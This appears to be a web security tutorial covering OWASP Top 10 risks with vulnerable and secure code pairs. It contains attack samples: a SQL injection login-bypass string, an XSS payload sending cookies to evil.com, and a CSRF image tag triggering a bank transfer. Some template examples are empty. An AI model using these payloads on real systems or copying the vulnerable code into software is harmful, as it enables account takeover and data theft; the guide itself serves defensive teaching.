web application security: common vulnerabilities and how to prevent them

web application security vulnerabilities cost businesses billions annually and compromise millions of users' data. understanding the owasp top 10 vulnerabilities and how to prevent them is essential for every developer building web applications in 2025.

this comprehensive guide explores the most critical web security vulnerabilities, from sql injection to cross-site scripting, with practical examples and proven prevention strategies. you'll learn how attackers exploit these flaws and how to build secure applications from the ground up.

The OWASP Top 10: Critical Security Risks

the open web application security project (owasp) maintains a list of the ten most critical web application security risks. this list is updated every few years based on data from security researchers and organizations worldwide, representing the consensus on the most dangerous vulnerabilities.

1. Injection Attacks

injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. the attacker's hostile data tricks the interpreter into executing unintended commands or accessing unauthorized data.

# VULNERABLE CODE - DO NOT USE
username = request.form['username']
password = request.form['password']

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
result = db.execute(query)

SELECT * FROM users WHERE username='admin' --' AND password='anything'

# SECURE CODE
username = request.form['username']
password = request.form['password']

query = "SELECT * FROM users WHERE username=? AND password=?"
result = db.execute(query, (username, password))

2. Broken Authentication

authentication and session management flaws allow attackers to compromise passwords, keys, or session tokens, or exploit implementation flaws to assume other users' identities temporarily or permanently.

3. Cross-Site Scripting (XSS)

xss flaws occur when applications include untrusted data in web pages without proper validation or escaping. attackers can execute malicious scripts in victims' browsers, stealing session cookies, redirecting users, or defacing websites.

<!-- VULNERABLE CODE -->
<div class="comment">
    
</div>

<!-- SECURE CODE -->
<div class="comment">
    
</div>

<!-- The script tag becomes harmless text -->
&lt;script&gt;fetch('https://evil.com?cookie='+document.cookie)&lt;/script&gt;

4. Insecure Deserialization

insecure deserialization often leads to remote code execution. even if deserialization flaws don't result in remote code execution, they can enable replay attacks, injection attacks, and privilege escalation.

5. Security Misconfiguration

security misconfiguration is the most common vulnerability. it results from insecure default configurations, incomplete configurations, open cloud storage, misconfigured http headers, and verbose error messages containing sensitive information.

6. Cross-Site Request Forgery (CSRF)

csrf attacks force authenticated users to submit requests to web applications they're currently authenticated to. attackers can trick users into executing unwanted actions like transferring funds, changing email addresses, or modifying account settings.

<!-- Attacker's malicious website -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />

<!-- When victim visits this page while logged into bank.com,
     the transfer executes using their authenticated session! -->

<!-- Include unique token in forms -->
<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value="" />
    <input name="to" />
    <input name="amount" />
    <button type="submit">Transfer</button>
</form>

# Server validates token matches session
if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

Security Best Practices

Security Testing and Monitoring

security is not a one-time effort but an ongoing process. regular testing, monitoring, and updates are essential to maintain a secure application.